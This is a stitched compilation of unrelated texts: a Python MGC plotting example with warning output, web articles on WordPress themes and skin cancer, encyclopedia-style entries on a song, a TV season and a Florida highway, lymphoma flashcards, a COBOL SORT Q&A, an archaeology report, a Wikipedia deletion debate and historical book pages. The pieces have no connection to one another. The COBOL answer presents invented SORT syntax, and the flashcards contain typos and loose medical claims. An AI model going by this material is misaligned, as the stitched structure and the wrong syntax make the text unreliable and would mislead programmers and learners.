/opt/buildhome/python3.7/lib/python3.7/site-packages/seaborn/cm.py:1582: UserWarning: Trying to register the cmap 'rocket' which already exists.
mpl_cm.register_cmap(_name, _cmap)
/opt/buildhome/python3.7/lib/python3.7/site-packages/seaborn/cm.py:1583: UserWarning: Trying to register the cmap 'rocket_r' which already exists.
mpl_cm.register_cmap(_name + "_r", _cmap_r)
/opt/buildhome/python3.7/lib/python3.7/site-packages/seaborn/cm.py:1582: UserWarning: Trying to register the cmap 'mako' which already exists.
mpl_cm.register_cmap(_name, _cmap)
/opt/buildhome/python3.7/lib/python3.7/site-packages/seaborn/cm.py:1583: UserWarning: Trying to register the cmap 'mako_r' which already exists.
mpl_cm.register_cmap(_name + "_r", _cmap_r)
/opt/buildhome/python3.7/lib/python3.7/site-packages/seaborn/cm.py:1582: UserWarning: Trying to register the cmap 'icefire' which already exists.
mpl_cm.register_cmap(_name, _cmap)
/opt/buildhome/python3.7/lib/python3.7/site-packages/seaborn/cm.py:1583: UserWarning: Trying to register the cmap 'icefire_r' which already exists.
mpl_cm.register_cmap(_name + "_r", _cmap_r)
/opt/buildhome/python3.7/lib/python3.7/site-packages/seaborn/cm.py:1582: UserWarning: Trying to register the cmap 'vlag' which already exists.
mpl_cm.register_cmap(_name, _cmap)
/opt/buildhome/python3.7/lib/python3.7/site-packages/seaborn/cm.py:1583: UserWarning: Trying to register the cmap 'vlag_r' which already exists.
mpl_cm.register_cmap(_name + "_r", _cmap_r)
/opt/buildhome/python3.7/lib/python3.7/site-packages/seaborn/cm.py:1582: UserWarning: Trying to register the cmap 'flare' which already exists.
mpl_cm.register_cmap(_name, _cmap)
/opt/buildhome/python3.7/lib/python3.7/site-packages/seaborn/cm.py:1583: UserWarning: Trying to register the cmap 'flare_r' which already exists.
mpl_cm.register_cmap(_name + "_r", _cmap_r)
/opt/buildhome/python3.7/lib/python3.7/site-packages/seaborn/cm.py:1582: UserWarning: Trying to register the cmap 'crest' which already exists.
mpl_cm.register_cmap(_name, _cmap)
/opt/buildhome/python3.7/lib/python3.7/site-packages/seaborn/cm.py:1583: UserWarning: Trying to register the cmap 'crest_r' which already exists.
mpl_cm.register_cmap(_name + "_r", _cmap_r)
Optimal Scale: [100, 100]
Optimal Scale: [14, 90]
import matplotlib.pyplot as plt
import matplotlib.ticker as ticker
import seaborn as sns
from hyppo.independence import MGC
from hyppo.tools import linear, spiral
# make plots look pretty
sns.set(color_codes=True, style="white", context="talk", font_scale=1)
# make a dictionary that maps the simulation function to a string
sims = {
"Linear": linear,
"Spiral": spiral,
}
# make a function that runs the code depending on the simulation
def run_test(sim_type="Linear"):
"""Runs all the tests for both simulations."""
# simulate our data (100 samples, 3 dimensions)
x, y = sims[sim_type](n=100, p=3, noise=True)
# calculate the MGC test statistic, p-value, and get a dictionary with the
# mgc_map (shows the geometric nature of the relationship) and the optimal
# scale, which is the k,l nearest neighbors that maximize the test statistic
_, _, mgc_dict = MGC().test(x, y, reps=0)
# plot the MGC map with a map of the local correlations (as mentioned before,
# shows the geometric nature of the relationship), and the optimal scale,
# which is the maximimum smoothed test statistic
mgc_map = mgc_dict["mgc_map"]
opt_scale = mgc_dict["opt_scale"] # i.e. maximum smoothed test statistic
print("Optimal Scale:", opt_scale)
# create figure
fig, (ax, cax) = plt.subplots(
ncols=2, figsize=(9.45, 7.5), gridspec_kw={"width_ratios": [1, 0.05]}
)
# draw heatmap and colorbar
ax = sns.heatmap(mgc_map, cmap="YlGnBu", ax=ax, cbar=False)
fig.colorbar(ax.get_children()[0], cax=cax, orientation="vertical")
ax.invert_yaxis()
# optimal scale
ax.scatter(opt_scale[1], opt_scale[0], marker="X", s=200, color="red")
# make plots look nice
ax.set_title("MGC Map - {}".format(sim_type))
ax.xaxis.set_major_locator(ticker.MultipleLocator(10))
ax.xaxis.set_major_formatter(ticker.ScalarFormatter())
ax.yaxis.set_major_locator(ticker.MultipleLocator(10))
ax.yaxis.set_major_formatter(ticker.ScalarFormatter())
ax.set_xlabel("Neighbors for x")
ax.set_ylabel("Neighbors for y")
ax.set_xticks([0, 50, 100])
ax.set_yticks([0, 50, 100])
ax.xaxis.set_tick_params()
ax.yaxis.set_tick_params()
cax.xaxis.set_tick_params()
cax.yaxis.set_tick_params()
plt.show()
# run the created function for linear and spiral simulations. Notice how the
# MGC map looks different for a spiral simulation and linear simulation.
# Optimal scale informs this, linearly related data has a scale at the max
# scale, while nonlinearly related data does not.
run_test(sim_type="Linear")
run_test(sim_type="Spiral")
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Why Classic WordPress Themes Aren't Going Away
Why Classic WordPress Themes Aren't Going Away
When WordPress block themes started making waves in 2021, it marked a significant shift in how we build websites. The promise of a no-code experience and Full Site Editing (FSE) was finally here to shake up the status quo.
It was also decided during this time to refer to non-block-based themes as “classic.” In essence, a classic theme is based on PHP and does not include block markup. This term could apply to products going back to the original Kubrick (Default) theme through to today’s offerings.
But despite all of the hype regarding block themes, their classic counterparts continue to dominate the market. As of this writing, there are over 10,000 listings in the official WordPress theme repository. By my count, block themes make up approximately 1% of the total. And they haven’t exactly set the commercial marketplaces ablaze, either.
And while there are some interesting use cases for block themes/FSE, it’s safe to say that any shift in this direction has been slow. Meanwhile, classic themes are still receiving some love from WordPress core.
It looks like any sort of block theme revolution will have to wait. Classic WordPress themes aren’t going away – and here’s why.
A no-code workflow adds a layer of convenience to web development. Not every task should require in-depth knowledge of CSS, HTML, or PHP. But this approach can only get you so far.
Code is still the primary solution for building advanced websites. Whether it’s some custom functionality or a non-standard layout, code is how we bring these ideas to life.
No readymade plugin or theme (block or classic) can account for every possible need. And the ability to make little tweaks or create something entirely new has long been a strength of WordPress. It’s a big reason why the content management system (CMS) has become so widely used.
This power and flexibility are what sets classic themes apart. Modern websites are rarely one-size-fits-all. Thus, they often require us to build to suit a specific need. A custom-made classic theme can do that. Block themes aren’t there quite yet.
Block themes have received a lot of attention recently – and rightfully so. But that doesn’t mean classic themes have been banished to the dustbin. New features continue to be added – including some that bring the latest functionality.
Among the more exciting additions is the ability to use FSE within a classic theme. That’s right, block-based template parts will be supported in a future version. This will allow developers to open up specific portions of the theme for tweaking from within WordPress.
It’s a big step forward. We can continue to build client-proof websites while enabling no-code access where it makes sense. And it provides a path for moving away from the Customizer API that is likely to disappear someday.
And those who want fine-grain control over the block editor can also leverage the theme.json file. It lets us define block styles and other related functionality. Content creators can then focus on writing rather than having to worry about how the design will look.
These additions will ensure that classic themes remain a viable option. Using them won’t prevent you from taking advantage of new features in WordPress core.
Not everyone is ready to make major changes to their workflow. And for all of the benefits of block themes, they offer a decidedly different experience for developers. Building and interacting with them requires an adjustment.
Meanwhile, classic themes have been a staple of WordPress development for years. The community has comfort and familiarity with how things work. They’re well documented. And if they continue to do the job effectively, what’s the impetus for change?
The features that are unique to block themes aren’t necessarily a fit for every project. Meanwhile, the aforementioned flexibility keeps us coming back to classic themes.
In a few years, this could be a different story. By then, block themes may have improved so much that they’re considered a must-use technology.
That’s not currently the case, though. Until there is a significant advantage to switching theme types, many developers will likely stick with what they know.
The term “classic” is thrown around quite a bit within the WordPress ecosystem. We often associate it with the Classic Editor – which was replaced by the Gutenberg block editor years ago. On some level, it makes sense that themes would also adopt this moniker.
But names can be interpreted in different ways. For some, “classic” may read as an antiquated tool that’s no longer useful. That’s a shame because nothing could be further from reality when it comes to classic themes.
If anything, they’re the tried-and-true path for building a custom website. And that’s likely to continue for years to come.
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To Go or Not To Go – That Shouldn’t Be the Question
A funny thing about skin cancer is that many people don’t take it seriously. This, my friends is a mistake. If someone has chest pains, they are likely going to seek medical attention. If someone has a broken bone, they’ll get it fixed. If their eyesight is getting worse, they’ll go to the eye doctor.
But if there’s an area on their skin that looks unusual, too many people tend to ignore it. Excuses? We’ve got them: it’s not an emergency, it isn’t really causing a lot of distress, it’s ‘just’ a spot and may go away, there isn’t enough time in the day to try to fit in a dermatologist appointment.
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Skin cancer symptoms
We shouldn’t make excuses, though. Worst-case scenario is the suspicious area on your skin may be melanoma. The best survival rate for melanoma comes from early detection and treatment. Consider this: For very early-stage melanoma, the 5-year survival rate is 99%. If it has spread to nearby lymph nodes, the survival rate drops to 63%. And if melanoma has spread to other parts of the body, the survival rate plummets to 20%.1 Isn’t having a better chance of survival worth going to the doctor?
What about if the area on your skin doesn’t look like melanoma? Can you just ignore it? The answer is, NO!
Don't brush it off as "dry skin"
Basal cell carcinoma is the least dangerous of skin cancers, but you should not ignore it. You may have had one on your skin for years and think it’s no big deal because it’s not really causing you issues. You may not even realize that it is skin cancer; you may think it’s just “dry skin” or a bump that’s been there so long you no longer even give it a second thought.
Cancer can have deep roots under the skin
The truth is, though, while the area on your skin may not look like a big deal on the outside, on the inside it could be a completely different story. Basal cells tend to grow underneath your skin. My doctor told me years ago that what was a tiny dot on the outside of my skin could be the size of a silver dollar under my skin. Basal cells may grow around nerves (I had this happen with two of my basal cell carcinomas), and they can also destruct surrounding skin and tissue. That small area of basal small carcinoma can have deep roots underneath the skin that can spread to muscle and bone, which could then cause significant deformity.
Not all squamous cell carcinomas bleed
Squamous cell cancers are more dangerous, as they can spread to the lymph nodes. Squamous cell areas are more likely to be painful or bleed, which fortunately can help persuade people to get to the doctor sooner rather than later. I’ve had two squamous cell cancers; one bled but was not painful, and one was extremely painful but didn’t bleed. Keep in mind, though, that squamous cell areas may not hurt or bleed; some may just appear as a bump or a scaly patch, and while you’re ignoring it, it may be metastasizing.
Get your skin checked!
If you have anything on your skin that is worrisome or suspicious, please make an appointment with a dermatologist to have your skin checked. Basal cell carcinoma, squamous cell carcinoma, and melanoma all need to be taken seriously, and the earlier you seek treatment, the better your chance is of a good outcome.
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Folk Custom:
* Costume
First of all, the dressing style of the North Korean people is distinctive, it is related to their custom about sitting indoors on the ground. In the upper body, they usually wear short clothes with silk ribbons instead of buttons; in the lower body men usually wear long and big trousers, while women wear loose long dresses. These clothes' design are purpose on making people feel comfortable to sit on the ground without affecting body stretching. Secondly, North Korean people preferred white clothing, because they believed that white represents purity and simplicity; by the time the North Korean women and children's skirts made of satin have gradually become more colorful.
* Traditional Activities
The North Korean women and children love sports, so jump seesaw and play on a swing are two of the most popular activities. As for the origin of the seesaw, it was said that in the ancient feudal society, women could not go out because of the feudal thoughts; however, women were curious about the outside of the world, so they created the seesaw to cooperate with each other, stoned the wood from the middle, one person stood at the height start of the wood, another person stood on the end of the wood. The one on one side jumps up high, and the one on the other side of the seesaw jumps down, they just peeking at the outside world in this way. This activity has been passed down to modern times and appeared as a form of traditional activity for North Korean women in their life. The North Korean swing is usually tied to the tallest branch of the tree by two long ropes, and the girls stand on the swing. Whenever the festival is over, the young girls will put on the colorful skirts to participate in the seesaw and swing races. The seesaw competition is determined by the difficulty of who is spinning in the air. The swing is determined according to the height of the swing.
* Characteristic Dance
Long drum dance is a characteristic dance of the North Korean people. Every dancer has a small long drum on their chest and dress in a traditional North Korean long dress. Unlike the ordinary dance, long drum dance requires singing, dancing and drumming at the same time, so the requirements for dancers are demanding and challenging.
Special Food:
* 1) Cold noodles are one of Yanji's specialties, it tastes rich, chewy, sour, sweet and spicy；the noodles are made from buckwheat, soup is mainly made with beef soup and some ingredients . In addition, people usually put some pieces of beef, apple, kimchi, egg, chicken meatballs as the cold noodles side, which is called "cold noodles cap".
* 2) Soybean paste soup . The soybean paste is made from yellow beans fermented and seasoned; it is the favorite sauce for Korean people. Because soybeans form a kind of enzyme that is beneficial to the body after fermentation, it can prevent some diseases. Therefore, the main material of the soybean soup is the soybean paste, and usually people will add some beef, tofu, bean, sprouts, squash, cabbage or seafood in the soup according to personal preference.
* 3) Laver-wrapped rice it is mainly made up of seaweed, rice, cucumber, carrot, egg rolls, wrapped in rolls.. | WIKI |
Page:Cassell's Illustrated History of England vol 5.djvu/380
366 English, were left to the fierce vengeance of Tippoo. The English who had been his prisoners gave such accounts of his treatment of them as excited an intense indignation throughout British India; and the horrors which he inflicted in the disaffected districts can only be paralleled by other recitals of Eastern tyranny. He visited Calicut and the neighbouring states of Malabar, perpetrated, it is said, the most vindictive atrocities on the people, men, women, and children, destroyed their pagodas, and compelled some thousands to submit to circumcision and eat flesh, the most dreadful of impieties in a Hindoo.
Such are the accounts, derived, however, be it observed, from his enemies; and it is only due to this prince, who was eventually borne down by the English, and his kingdom divided amongst themselves and their allies, to quote the opinion of Mill, the historian of the India House itself. "That the accounts which we have received from our countrymen, who hated and feared him," he says, "are marked with exaggeration, is proved by this circumstance, that his servants adhered to him with a fidelity which those of few princes in any age or country have displayed. Of his cruelty we have heard the more, because our countrymen were amongst the victims of it. But it is to be observed that, unless in certain instances, the proof of which cannot be regarded as better than doubtful, their sufferings, however intense, were only the sufferings of a very rigorous imprisonment, of which, considering the manner in which it is lavished upon them by their own laws, the English ought not to be very forward to complain. At that very time, in the dungeons of Madras or Calcutta, it is probable that unhappy sufferers were enduring calamities for debts of one hundred pounds, not less atrocious than those which Tippoo, a prince, born and educated in a barbarous country, and ruling over a barbarous people, inflicted upon imprisoned enemies, part of a nation, who, by the evils they had brought upon him, exasperated him almost to frenzy, and whom he regarded as the enemies of both God and man. Besides, there is among the papers relating to the intercourse of Tippoo with the French a remarkable proof of his humanity, which, when these papers are ransacked for matters to criminate him, ought not to be suppressed. In a draught of conditions, on which he desired to form a treaty with them, these are the words of a distinct article:—"I demand that male and female prisoners, as well English as Portuguese, who shall be taken by the French troops, or by mine, shall be treated with humanity; and, with regard to their persons, that they shall (their property becoming the right of the allies) be transported, at our joint expense, out of India, to places far distant from the territory of the allies." | WIKI |
Congress Member Josh Gottheimer filed 46 trades last week. He's made almost 500 trades in the last 12 months (!!)
Representative Josh Gottheimer (D-NJ) is back at it — and this time, it’s with 46 separate trades reported just this past week. That brings his total to nearly 500 trades over the past year, rivaling the activity of a full-time day trader.
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Here's a quick snapshot of some of the companies he's buying into:
* Tech & Payments: Repeated buys in Visa (V), along with Meta (META), AppLovin (APP), and IBM suggest a strong lean into tech and digital payments. Visa alone shows up three separate times in one day.
* Travel & Hospitality: Multiple buys in Booking Holdings (BKNG) hint at a bullish stance on travel recovery or consumer discretionary strength.
* Retail & Food Delivery: Purchases of Walmart (WMT) and DoorDash (DASH) show interest in both traditional and gig-economy commerce.
* Healthcare & Biotech: A buy in Gilead Sciences (GILD) signals exposure to pharma — a sector that often intersects with federal policy and funding.
* Financial Infrastructure: Buys in Intercontinental Exchange (ICE) and Fiserv (FI) — both players in fintech and transaction processing — stand out as bets on the backbone of financial systems. | NEWS-MULTISOURCE |
Shine On (Humble Pie song)
"Shine On" is a song by British rock band Humble Pie from their 1971 album Rock On. It was written by Peter Frampton. The B-side of the single is "Mister Ring", written by Greg Ridley.
Rock On was the last studio album to feature Frampton. He would later perform the song in his concerts, to be featured on his album Frampton Comes Alive!
"Shine On"
* Peter Frampton - lead vocals, lead guitar
* Steve Marriott - Hammond organ
* Greg Ridley - bass guitar
* Jerry Shirley - drums, percussion
Soul Sisters
* P. P. Arnold, Doris Troy, Claudia Lennear - backing vocals
"Mister Ring"
* Greg Ridley - vocals, bass guitar
* Peter Frampton - lead and rhythm guitar
* Steve Marriott - lead and rhythm guitar
* Jerry Shirley - drums | WIKI |
Week 4: Case studies of leukemia/lymphoma Flashcards Preview
IHO Ben > Week 4: Case studies of leukemia/lymphoma > Flashcards
Flashcards in Week 4: Case studies of leukemia/lymphoma Deck (22):
1
What are the "B symptoms" of Hodgkin's Lymphoma?
Fever, >10% weight loss, neigh sweats
2
What should you counsel on with a reproductive-age male before giving chemo therapy?
Fertility counseling
3
Why is an excisional biopsy needed for HL diagnosis on not just a fine-needle aspirate?
need to see the architecture
4
T/F: Hodgkin is not an HIV-related malignancy
False, highly related to HIV
5
Do males or females get HL?
More males than females
6
What is the malignant cell of HL?
Reed-Sternberg cell (B-cell)
7
Does HL jump randomly from lymph node to lymph node?
No, spreads contiguously
8
What is the standard of care of HL?
ABVD: Adriamycin, bleomycin, vinblastine, dacarbazine. Rituximab is a new treatment
9
What are the "classical" HL presentations? What are the classic markers present on these cells?
Nodular sclerosis, lymphocyte-rich, mixed cellularity, lymphocyte depleted; CD15, CD30
10
What marker is typically found on nodular lymphocyte predominant HL?
CD20 (can be targeted by rituximab)
11
What is the staging for lymphomas?
Ann Arbor staging:
I: Single LN region
II: One side of diaphragm
III: Both side of diaphragm
IV: disseminated throughout body
A: no systemic symptoms
B: fever, night sweats, weight loss
12
What is the treatment for Stages I and II of HL?
ABVD x 2, involved field radiation
13
What is the treatment for stages 3 and 4 HL?
ABVD x 2, restage the disease, if it's ok treat with ABVD x4, if refractory switch to BEACOPP and autologous transplant
14
What are late effects of HL therapy?
second malignancy (Lung and breast), heart disease because of drugs, lung disease, impaired fertility
15
What labs can you order to look at cell turn over rate?
LDH and uric acid
16
What are prognostic factors of the IPI scoring system?
Age over 60, Stage III/IV, spending more than 1/2 day resting, elevated LDH, two ore more extranodal sites
17
What is treatment of non-hodgkin lymphoma?
R-CHOP (rituximab, adriamycin, cyclophosphamide, vincrstine, prednisone)
18
What are clinical pearls of Diffuse Large B-cell lympoma?
most aggressive NHL in adults and most common, quickly fatal if not treated, usually CD20+, so treat with rituxiab
19
t(14;18) is most common in which NHL? What's the result?
Follicular lymphoma, Bcl-2 translocated to avoid apoptosis
20
t(11;14) is most common in which NHL? What's the result?
Mantle cell lymphoma, increase in Cyclin D1
21
What is usually the cause of MALT lymphoma?
H. pylori infection
22
Can immune suppression lead to lymphoproliferative disorders? How do you treat it?
Yes it can lead to B cell proliferation because of T cell suppression, back off immune suppression | ESSENTIALAI-STEM |
How to use a SORT statement in COBOL?
by yadira.tillman , in category: Other , 2 months ago
How to use a SORT statement in COBOL?
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by matteo , 24 days ago
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A SORT statement in COBOL is used to sort data in a file.
Here is the syntax for a SORT statement:
SORT file-name ON ASCENDING/DESCENDING key-1-length key-1-position [key-2-length key-2-position] USING sort-file-name [GIVING sorted-file-name] [END-SORT]
Where:
• file-name: The name of the file to be sorted
• ASCENDING/DESCENDING: Specifies whether the sort order is ascending or descending
• key-1-length: The length of the first sort key
• key-1-position: The starting position of the first sort key
• key-2-length: The length of the second sort key (optional)
• key-2-position: The starting position of the second sort key (optional)
• sort-file-name: The temporary file used for sorting
• sorted-file-name: The name of the sorted output file
Example:
SORT CUSTOMER-FILE ON ASCENDING 6 1 USING TEMP-SORT-FILE GIVING SORTED-CUSTOMER-FILE END-SORT
This example sorts the CUSTOMER-FILE in ascending order based on the first 6 characters starting from position 1, using the TEMP-SORT-FILE as the temporary file and the SORTED-CUSTOMER-FILE as the output file. | ESSENTIALAI-STEM |
Dance Your Ass Off season 1
The first season of Dance Your Ass Off aired from June 29, 2009, to September 7, 2009. It aired on the Oxygen network. It was the only season to feature Marissa Jaret Winokur as host. The show featured twelve overweight contestants competing to dance and lose weight. The medical doctor was Rob Huizenga from the USA Biggest Loser. For this season, the judges were Danny Teeson, Lisa Ann Walter and Mayte Garcia.
On the finale, Ruben defeated Pinky and Shayla to become the first ever Dance Your Ass Off champion.
Contestants
* Angela - Eliminated Week 1
* Warren - Eliminated Week 2
* Karla - Eliminated Week 3
* Tara - Eliminated Week 4
* Brandon - Eliminated Week 4
* Miles - Eliminated Week 5
* Trice - Eliminated Week 6
* Mara - Eliminated Week 7
* Alicia - Eliminated Week 9
* Shayla - 2nd Runner-Up - Fan Favorite
* Pinky - Runner-Up
* Ruben - Winner
Weigh ins - Pounds lost per week
* Most Weight Lost
* Least Weight Lost
Contestants & Weight per week
Contestants are listed in chronological order of elimination.
* BMI
* Normal (18.5 - 24.9 BMI)
* Overweight (25 - 29.9 BMI)
* Obese Class I (30 - 34.9 BMI)
* Obese Class II (35 - 39.9 BMI)
* Obese Class III (greater than 40 BMI)
* Rankings
* Eliminated Contestants Weigh-In (Finale)
* Winner ($100,000)
* Eliminated Winner ($5,000)
* Last person eliminated before finale
Contestants' average dance scores
* Best Score of the week.
* Worst Score of the week
Notes:
* The first perfect 10 came in Week 6. The recipient was Shayla. That same week Ruben also received a 10.
* The first perfect score (Three 10's) was the tango that Ruben had danced in Week 7.
* No one was eliminated on Week 8.
Contestants' overall scores
* Contestant was in the bottom two of weight loss
* Contestant was eliminated
* Contestant was in the bottom two of weight loss and eliminated
* Contestant was in the bottom two for weight loss and was the winner that week
* Contestant was the winner for that week
* Contestant danced their ass off and was declared the winner of the show
Reunion
First aired September 7, 2009 Shayla won Fan Favorite and a check for $5000. Ruben lost more weight, totaling to 90 lbs. Miles and Alicia also lost 90 lbs by the reunion.
* Contestant gained some weight back by the reunion.
* BMI
* Normal (18.5 - 24.9 BMI)
* Overweight (25 - 29.9 BMI)
* Obese Class I (30 - 34.9 BMI)
* Obese Class II (35 - 39.9 BMI)
* Obese Class III (greater than 40 BMI)
Updates
* Warren - he topped the scales at 400 lbs then turned his life around and lost 150 lbs. He has kept the weight off.
* Mara – has lost 60 lbs and wants to lose 20 lbs more - had lost 44 lbs at the reunion
* Trice – has lost 74 lbs - had lost 69 lbs at the reunion
* Alicia – has lost 110 lbs - had lost 90 lbs at the reunion
* Ruben – got Head of Wardrobe position for Cirque du Soleil's newest show, “Viva Elvis” at City Center in Las Vegas
* Tara – has lost 60 lbs, and doing cross-fit to lose 15 more. She is a host for the LIPS Tour-Ladies International Poker Series and Orlando's American Heart Assoc Health Ambassador. | WIKI |
Interstate 595 (Florida)
Interstate 595 (I-595), also known as the Port Everglades Expressway and unsigned Florida State Road 862 (SR 862), is a 12.86 mi auxiliary Interstate Highway that connects I-75 and Alligator Alley in the west with Florida's Turnpike, I-95, Fort Lauderdale–Hollywood International Airport, U.S. Highway 1 (U.S. 1), and SR A1A before terminating at Port Everglades in the east. The Interstate route was conceived in 1969 and planned as an Interstate starting in 1974. Construction began in 1984, with the expressway opening in stages in the late 1980s, with completion in 1991. The reversible tolled express lanes opened in 2014.
Route description
Interstate 595 begins in Sunrise at the eastern part of the Sawgrass Interchange, with I-75 on the southern and western ends (I-75 "north" leads into Alligator Alley on the west side) and the Sawgrass Expressway (SR 869) on the northern end. From the western terminus, the highway heads east to Davie, acting as a commuter route between the western fringes of the populated part of Broward County and Fort Lauderdale. At University Drive (SR 817), I-595 goes below a partial stack interchange. Three miles east of that interchange, it meets with Florida's Turnpike and U.S. 441. The highway then continues east into Fort Lauderdale.
Continuing east into Fort Lauderdale, I-595 soon interchanges with I-95 at the Rainbow Interchange, located the northwestern edge of Fort Lauderdale–Hollywood International Airport. From there, I-595 continues east along the northern edge of the airport. It then reaches the eastern end of the airport, where it has its final interchange with U.S. 1 (which runs concurrently with SR A1A at the interchange), providing access to both the airport and Port Everglades. The eastern terminus consists of two lanes for U.S. 1 southbound, two for U.S. 1 northbound and two lanes for Port Everglades via Eller Drive. The exit for southbound U.S. 1 has a ramp to the airport. SR A1A is not listed on the exit signs.
For most of its length, Florida State Road 84 – the former route number for Alligator Alley prior to its conversion to part of the extended Interstate 75 – runs parallel to the expressway, acting as a frontage road on either side of the Interstate.
History
I-595 grew out of a expressway plan for connecting Port Everglades with Alligator Alley, first conceived in 1969 as the Port Expressway. In 1974, once I-75 was rerouted to Broward County on Alligator Alley as a part of its eastern connection from Naples, it was proposed to be built as an Interstate. When the southern terminus of I-75 was moved from Broward to Dade County at the Palmetto Expressway (SR 826)/Gratigny Parkway (SR 924) in the late 1970s, the construction of the trans-Broward expressway was delayed. However, in September 1978, the Federal Highway Administration (FHWA) officially added the eastern 4.2 mi of the route to the Interstate Highway System, with the official designation of I-595.
In the early 1980s, I-595 was planned to be partially a toll expressway to cover its cost of construction. By the time construction started on July 26, 1984, the tolls for the expressway vanished, and it was built with only minor changes in its route. The first section, between I-75 and Hiatus Road opened in May 1988, with the section between Florida's Turnpike and US 1 opening on February 24, 1989, and the last section, connecting the disjointed sections opening on October 21, 1989. The expressway was designated as I-595 on June 11, 1990, and the Rainbow Interchange with I-95 was completed on March 22, 1991, the last unfinished interchange of the original plan.
The portion of the expressway between I-95 and US 1 follows the right-of-way of the Port Everglades railroad tracks that had previously run from the CSX Transportation railroad to Port Everglades.
In 2002, I-595, along with most of Florida's Interstates, switched over from a sequential exit numbering system to a mileage-based exit numbering system. Numbers were changed again at about the time the express lanes were opened in early 2014.
On April 9, 2022, Pittsburgh Steelers quarterback Dwayne Haskins was killed after being struck by a dump truck near Davie when he was attempting to cross the westbound lanes of I-595 at 6:40 am near Fort Lauderdale–Hollywood International Airport and died at the scene.
Express lanes
The $1.8-billion (equivalent to $ in ) tolled SunPass express lanes project in the middle of the expressway to relieve the traffic congestion opened for test use on March 26, 2014, and started tolling on April 9, 2014. The express lanes will significantly improve the capacity and operations of the I-595 corridor by providing three additional at-grade lanes in the median of the corridor. The lanes will reverse direction in peak travel times (eastbound in the morning/westbound in the evening). To maximize the operational efficiency, the lanes will have tolls at varying rates throughout the day to optimize traffic flow, and access to and from the lanes will only be allowed west of 136th Avenue, east of US 441/SR 7, and through a direct connection to the median of Florida's Turnpike, removing long distance commuter traffic from the general purpose lanes. The Florida Department of Transportation (FDOT) will retain control of the toll revenue and toll rates.
Mainline
Exits 1–7 feed into the SR 84 frontage roads. | WIKI |
Moshav Ha-Bonim was built on the remains of an ancient settlement, known as Kafr Lam during the Ottoman period, which is documented in historical sources. The name could be a disruption of the Crusader name Kafer Lia. The excavation (120 sq m) was conducted along the western slope of a kurkar ridge, which is c. 1 km east of the coastline. A quarry, a water reservoir from the Ottoman period and Muslim tombs were exposed (Fig. 1). Some 150 m west of the current excavation, a previously large excavation was conducted in the Ha-Bonim fortress (HA-ESI 114:30*–33*), revealing artifacts that dated to the Chalcolithic, Persian, Hellenistic, Roman and Byzantine periods, as well as the remains of a fortress that was used from the Umayyad until the Ottoman periods.
Stone Quarry(L812; 6×8 m). Quarrying and severance channels were discovered on several rock-hewn steps. The step-quarrying method was meant to facilitate the rock-cutting and the detachment of stones, providing easy access to all sides of the removed stone. The size of the steps was determined by the size of the quarried stones. Modern debris was mostly found in the fill of the quarry, which belonged to a series of ancient quarries that were located on the kurkar ridge in the vicinity of Moshav Ha-Bonim and mainly operated during the Byzantine period. Several of the quarries were later adapted for use as agricultural installations and burial caves.
Water Reservoir. An L-shaped water reservoir (height 3 m) was exposed to the west of the quarry. It was built of ashlar stones and comprised two vaulted rectangular halls (A––3.6×6.0 m; B––3.0×3.4 m; Fig. 2). White plaster, which was applied to the interior side of the walls, contained potsherds that dated from the Roman until the Ottoman periods. These potsherds testify to the fact that the reservoir was built during the Ottoman period. An opening in the ceiling of each of the halls enabled the drawing of water from the halls. Soundings excavated in Hall A exposed bedrock that served as the reservoir’s floor (Loci 815, 816), at a depth of 0.2 m below surface. The reservoir was converted for use as a dwelling in a later phase, probably toward the end of the Ottoman period. The conversion necessitated alterations that included an opening and a large window in the western wall (Loci 822, 823; Fig. 3), as well as a partition wall between the two halls (W821). A similar reservoir was discovered in the excavation of the fortress nearby (HA-ESI 114:Fig. 46, Vault 22).
Tombs. South and west of the water reservoir, sixteen Muslim cist tombs were exposed (Loci 801–810, 813, 814, 817–820; Fig. 4); they were documented but not excavated. The tombs, generally oriented east–west, were built of mostly small fieldstones and a few ashlar stones. It seems that the tombs dated from the end of the Ottoman period until 1948, when the Arab village at the site was abandoned. | FINEWEB-EDU |
Wikipedia:Articles for deletion/Diva Zappa
The result was delete. Fritzpoll (talk) 13:48, 24 April 2009 (UTC)
Diva Zappa
* ( [ delete] ) – (View AfD) (View log)
I am nominating this article for deletion because my PROD tag was removed without any amendment to the article. I don't believe that Zappa is notable outside of being Frank Zappa's daughter. A google search seems to suggest she is a minor actress, but there's no viable source outside of IMDB. I had previously used the 'notability' tag and another editor has added the 'cite' tag, again these were removed with no further edit, but have been subsequently added back to the article. Fol de rol troll (talk) 11:57, 17 April 2009 (UTC)
* Reluctant delete. My first reaction was, "What? Of course the Zappa kids are notable." But notability is not hereditary, and I couldn't find any reliable sources discussing her; the closest I came up with was a press release for an art installation she did. I hope that someone else will have better luck. -FisherQueen (talk · contribs) 12:09, 17 April 2009 (UTC)
* Note: This debate has been included in the list of Living people-related deletion discussions. -- — LinguistAtLarge • Talk 13:39, 17 April 2009 (UTC)
* Redirect any salient information to Frank Zappa after deleting, although the name would remain as a redirect and someone could recreate in the future<EMAIL_ADDRESS>(talk) 15:30, 17 April 2009 (UTC<EMAIL_ADDRESS>(talk) 20:59, 18 April 2009 (UTC)
* You're not suggesting we merge and delete, are you?--chaser - t 23:01, 18 April 2009 (UTC)
* I think what's meant is merge the information into Frank Zappa and have Diva Zappa as a redirect to Frank Zappa, allowing for the page to be recreated if DZ becomes notable. I think :) Fol de rol troll (talk) 23:10, 18 April 2009 (UTC)
* Delete Beyond reliable sources, there's nothing here worth merging. Redirecting after deleting would discourage re-creation until she becomes more notable.--chaser - t 16:25, 17 April 2009 (UTC)
* Delete - No indication of independent notability. - TexasAndroid (talk) 18:57, 18 April 2009 (UTC)
| WIKI |
Page:Life in Mexico vol 1.djvu/21
Departure of the "Norma" — Last look of New York Bay — Fellow-passengers — Contrary Winds — Deceitful Appearances — Sunset in Southern Latitudes — Seas passed over by Columbus — Varied Occupations on Ship-board — Berry Islands — Bahama Banks — Evening in a Tropical Sea — L. E. L. — Pan of Matanzas — Morro Castle — Bay of Havana — Arrival — Handsome House in Havana — Sights and Sounds.
, Oct. 27th, 1839.
morning, at 10 o'clock, we stepped on board the steamboat Hercules, destined to convey us to our packet with its musical name. The day was foggy and gloomy, as if refusing to be comforted, even by an occasional smile from the sun. All prognosticated that the Norma would not sail to-day, but "where there's a will", &c. Several of our friends accompanied us to the wharf; the Russian Minister, the Minister of Buenos Ayres, Mr., who tried hard to look sentimental, and even brought tears into his eyes by some curious process; Judge , | WIKI |
PSDecode Update: New-Object override + Actions output
